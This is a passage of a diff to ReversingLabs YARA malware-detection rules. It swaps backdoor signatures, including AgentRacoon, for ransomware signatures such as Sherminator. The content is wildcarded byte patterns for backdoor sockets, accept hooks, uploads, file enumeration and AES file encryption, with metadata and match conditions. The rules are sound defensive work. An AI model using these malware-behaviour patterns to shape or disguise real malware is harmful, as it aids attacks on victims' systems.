E2 ?? 29 D0 01 C1 83 - E1 ?? C1 E9 ?? 89 D7 89 F0 F3 AB 83 EC ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 83 7D ?? ?? 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? - 8D 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 - C0 ?? 89 45 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 - ?? 83 EC ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D - ?? ?? 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? - 83 EC ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 - 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 C7 40 ?? - ?? ?? C6 40 ?? ?? 83 EC ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 66 C7 85 ?? ?? ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 83 C0 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 - C0 ?? 89 45 ?? 83 EC ?? 6A ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 74 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? - 83 EC ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? - ?? 79 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? EB ?? 8B 45 ?? 8D - 65 ?? 5B 5E 5F 5D C3 - } - $backdoor_dataforward_p1 = { - 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? BE ?? ?? ?? ?? - BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 D1 89 C2 89 D7 89 F0 FC F3 AB 89 FA 89 4D ?? 89 - 55 ?? 8B 45 ?? 39 45 ?? 0F 4D 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 0F 88 ?? ?? ?? ?? - 83 7D ?? ?? 0F 88 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 8B 55 ?? 83 E2 ?? 0F AB 94 85 ?? ?? - ?? ?? 8B 45 ?? C1 E8 ?? 8B 55 ?? 83 E2 ?? 0F AB 94 85 ?? ?? ?? ?? 83 EC ?? 6A ?? 6A - ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? - 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 - E0 ?? 8B 55 ?? C1 EA ?? 0F A3 84 95 ?? ?? ?? ?? 0F 92 C0 89 C6 89 F0 84 C0 0F 84 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? - ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 - } - $backdoor_dataforward_p2 = { - C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? - 8B 55 ?? C1 EA ?? 0F A3 84 95 ?? ?? ?? ?? 0F 92 C0 89 C6 89 F0 84 C0 0F 84 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 - ?? 83 7D ?? ?? 79 ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? E8 ?? ?? ?? ?? 8B 00 - 83 F8 ?? 75 ?? EB ?? EB ?? 83 7D ?? ?? 75 ?? EB ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 8D 85 - ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E8 ?? ?? - ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? E8 ?? ?? ?? ?? 8B 00 83 F8 ?? 75 ?? EB ?? EB ?? E9 - ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? - ?? 83 C4 ?? B8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 + $find_files = { + 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0C 2B ?? 08 + 6F ?? ?? ?? ?? 0D 09 03 04 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F + ?? ?? ?? ?? DC 02 28 ?? ?? ?? ?? 0B 07 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 + ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? + 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 + ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? + 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 03 04 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 + 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A } - $main_constructor = { - 55 89 E5 53 83 EC ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 89 45 ?? 8D - 83 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 83 EC ?? 6A ?? 8D 45 ?? 50 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 79 ?? E9 ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 8D 83 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 50 - 8D 83 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 83 EC ?? FF 75 - ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8B 45 ?? 83 F8 ?? 77 ?? 8B 45 ?? BA ?? ?? ?? ?? 29 C2 89 D0 83 EC ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 83 EC ?? 68 ?? ?? ?? ?? 6A ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 89 83 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 85 C0 79 ?? E9 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? - 83 EC ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 79 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 8D 83 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 45 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 C2 8B 83 ?? ?? ?? ?? 83 EC ?? 52 8D 55 ?? 52 50 E8 ?? - ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 78 ?? 83 7D ?? ?? 75 ?? 83 EC - ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 83 EC ?? 8D 83 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? - ?? 8B 83 ?? ?? ?? ?? 83 EC ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? C9 C3 + $encrypt_files = { + 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 0A 02 + 28 ?? ?? ?? ?? 0B 07 06 28 ?? ?? ?? ?? 0C 02 19 28 ?? ?? ?? ?? 0D 09 16 6A 6F ?? ?? ?? + ?? 09 6F ?? ?? ?? ?? 02 1C 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? + ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? + 08 16 08 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F + ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 2A } - $hook_accept_function_p1 = { - 55 89 E5 53 83 EC ?? E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 EC ?? 8D 83 ?? ?? ?? ?? 50 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? - 74 ?? 8B 45 ?? 8B 00 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 EC - ?? FF 75 ?? FF 75 ?? FF 75 ?? 8B 45 ?? FF D0 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 - ?? ?? ?? ?? 83 EC ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 94 C0 - 0F B6 C0 89 45 ?? 83 7D ?? ?? 74 ?? E9 ?? ?? ?? ?? 81 65 ?? ?? ?? ?? ?? 83 EC ?? 6A - ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? EB ?? 6A ?? 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 - 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 83 EC ?? 50 8D 83 ?? ?? ?? ?? - 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? EB - ?? 83 EC ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 45 ?? ?? 83 7D ?? ?? 76 + $aes_encrypt = { + 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? + ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? + ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? + ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 + ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? + 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A } - $hook_accept_function_p2 = { - 83 7D ?? ?? 76 ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 ?? ?? - ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? E9 ?? - ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B - 45 ?? 3B 45 ?? 75 ?? EB ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 45 ?? ?? 81 - 7D ?? ?? ?? ?? ?? 7E ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 79 ?? 83 EC ?? FF 75 ?? - E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 EC ?? FF 75 ?? FF 75 ?? E8 - ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 79 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 EC - ?? 6A ?? E8 ?? ?? ?? ?? 83 EC ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? 6A ?? E8 - ?? ?? ?? ?? 83 EC ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? FF 75 ?? - E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 00 83 EC ?? 50 6A ?? FF 75 ?? - E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 8B 55 ?? 89 10 83 EC ?? FF 75 ?? FF 75 ?? FF 75 ?? - E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 5D ?? C9 C3 + $encrypt_pass = { + 72 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 0B D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C + 08 07 6F ?? ?? ?? ?? A5 ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 09 6F ?? ?? ?? ?? 7E + ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? + 16 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 + ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A } condition: - uint32( 0 ) == 0x464C457F and ( $create_backdoor_socket ) and ( all of ( $backdoor_dataforward_p* ) ) and ( $main_constructor ) and ( all of ( $hook_accept_function_p* ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $aes_encrypt ) and ( $encrypt_pass ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Agentracoon : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Sherminator : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects AgentRacoon backdoor." + description = "Yara rule that detects Sherminator ransomware." author = "ReversingLabs" - id = "ad74d530-ffbd-589f-b941-3a5d9ec737b6" - date = "2023-12-15" - modified = "2023-12-15" + id = "99792a22-8027-557f-927f-30eac4d1e690" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara#L1-L128" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sherminator.yara#L1-L157" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3ba73f19f59c2e5880df820c52f16997047d7299eb14d421ae2ed8f3790bcfe9" + logic_hash = "22ac61b95f6ca4530e81a23fdd05be93e368647ca7100097a94eae3c6ce3b7d1" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "AgentRacoon" + tc_detection_type = "Ransomware" + tc_detection_name = "Sherminator" tc_detection_factor = 5 importance = 25 strings: - $unpack_response_p1 = { - 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 18 91 9C 11 ?? 73 ?? ?? ?? ?? 0A 06 16 6F ?? ?? - ?? ?? 2D ?? 73 ?? ?? ?? ?? 7A 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 19 91 9C 11 ?? 73 - ?? ?? ?? ?? 0A 06 1A 6F ?? ?? ?? ?? 2C ?? 06 1B 6F ?? ?? ?? ?? 2C ?? 06 1C 6F ?? ?? - ?? ?? 2C ?? 06 1D 6F ?? ?? ?? ?? 2C ?? 73 ?? ?? ?? ?? 7A 1F ?? 0B 2B ?? 07 17 58 0B - 03 07 91 2D ?? 07 17 58 0B 03 8E 69 07 59 0C 08 8D ?? ?? ?? ?? 0D 03 07 09 16 08 28 - ?? ?? ?? ?? 1A 13 ?? 2B ?? 11 ?? 17 58 13 ?? 09 11 ?? 91 2D ?? 11 ?? 17 58 13 ?? 09 - 8E 69 11 ?? 59 0C 08 8D ?? ?? ?? ?? 13 ?? 09 11 ?? 11 ?? 16 08 28 ?? ?? ?? ?? 02 12 - ?? FE 15 ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? - 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? - ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? - ?? 12 ?? 07 1F ?? 59 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? - ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 1A 59 8D ?? ?? ?? ?? 7D ?? - ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? - ?? 12 ?? 1A 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 - ?? 7D ?? ?? ?? ?? 03 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 18 + $enum_resources_p1 = { + 55 89 E5 57 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 44 24 + ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 45 ?? 83 7D ?? + ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? C7 44 24 ?? + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 54 + 24 ?? 8B 55 ?? 89 54 24 ?? 8D 55 ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 89 + 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 } - $unpack_response_p2 = { - 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1A 02 7C ?? ?? ?? ?? 7B ?? - ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1C 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? - ?? ?? 03 1E 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? - ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? - ?? 16 07 1F ?? 59 28 ?? ?? ?? ?? 09 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? - ?? ?? ?? 09 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 09 1A 02 7C ?? - ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? 1A 59 28 ?? ?? ?? ?? 11 ?? 16 02 7C ?? ?? ?? ?? 7B - ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 11 ?? 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 - ?? ?? ?? ?? 11 ?? 1A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 1A 28 ?? ?? ?? ?? 11 ?? 1E - 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 02 7C ?? - ?? ?? ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 1F ?? 91 13 ?? 02 7C ?? ?? ?? ?? 11 ?? - 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? - 28 ?? ?? ?? ?? 2A + $enum_resources_p2 = { + 45 ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 + ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? 8B 15 ?? + ?? ?? ?? 8B 0D ?? ?? ?? ?? C1 E1 ?? 8D 1C 0A C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? + ?? ?? ?? 89 03 A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 00 85 C0 0F 84 ?? + ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 50 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? + ?? ?? C1 E1 ?? 01 C8 8B 00 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 15 + ?? ?? ?? ?? C1 E2 ?? 01 D0 8B 10 89 D0 B9 ?? ?? ?? ?? 89 C3 B8 ?? ?? ?? ?? 89 DF F2 + AE 89 C8 F7 D0 83 E8 ?? 01 D0 66 C7 00 ?? ?? A1 ?? ?? ?? ?? 83 C0 ?? A3 ?? ?? ?? ?? + 8B 45 ?? C1 E0 ?? 89 C2 8B 45 ?? 01 D0 8B 40 ?? 83 E0 ?? 85 C0 74 ?? 8B 45 ?? C1 E0 + ?? 89 C2 8B 45 ?? 01 D0 89 04 24 E8 ?? ?? ?? ?? EB ?? 90 83 45 ?? ?? 8B 45 ?? 39 45 + ?? 0F 82 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? + ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 90 90 8D 65 ?? 5B 5F 5D C3 } - $upload = { - 28 ?? ?? ?? ?? 0A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 16 0B 38 ?? - ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 06 02 7C ?? ?? ?? ?? - 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 02 7C ?? ?? ?? ?? - 7B ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 72 ?? ?? ?? ?? A2 11 ?? 17 02 7C ?? - ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? ?? 06 - A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? - 7B ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 - 14 6F ?? ?? ?? ?? 07 17 58 0B 07 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 3F - ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? - ?? ?? ?? 7D ?? ?? ?? ?? DE 23 0D 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 2A + $encrypt_files_p1 = { + 55 89 E5 57 83 EC ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? + ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? + ?? A1 ?? ?? ?? ?? FF D0 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 + ?? B9 ?? ?? ?? ?? 89 C2 B8 ?? ?? ?? ?? 89 D7 F2 AE 89 C8 F7 D0 8D 50 ?? 8B 45 ?? 01 + D0 66 C7 00 ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? + 89 04 24 A1 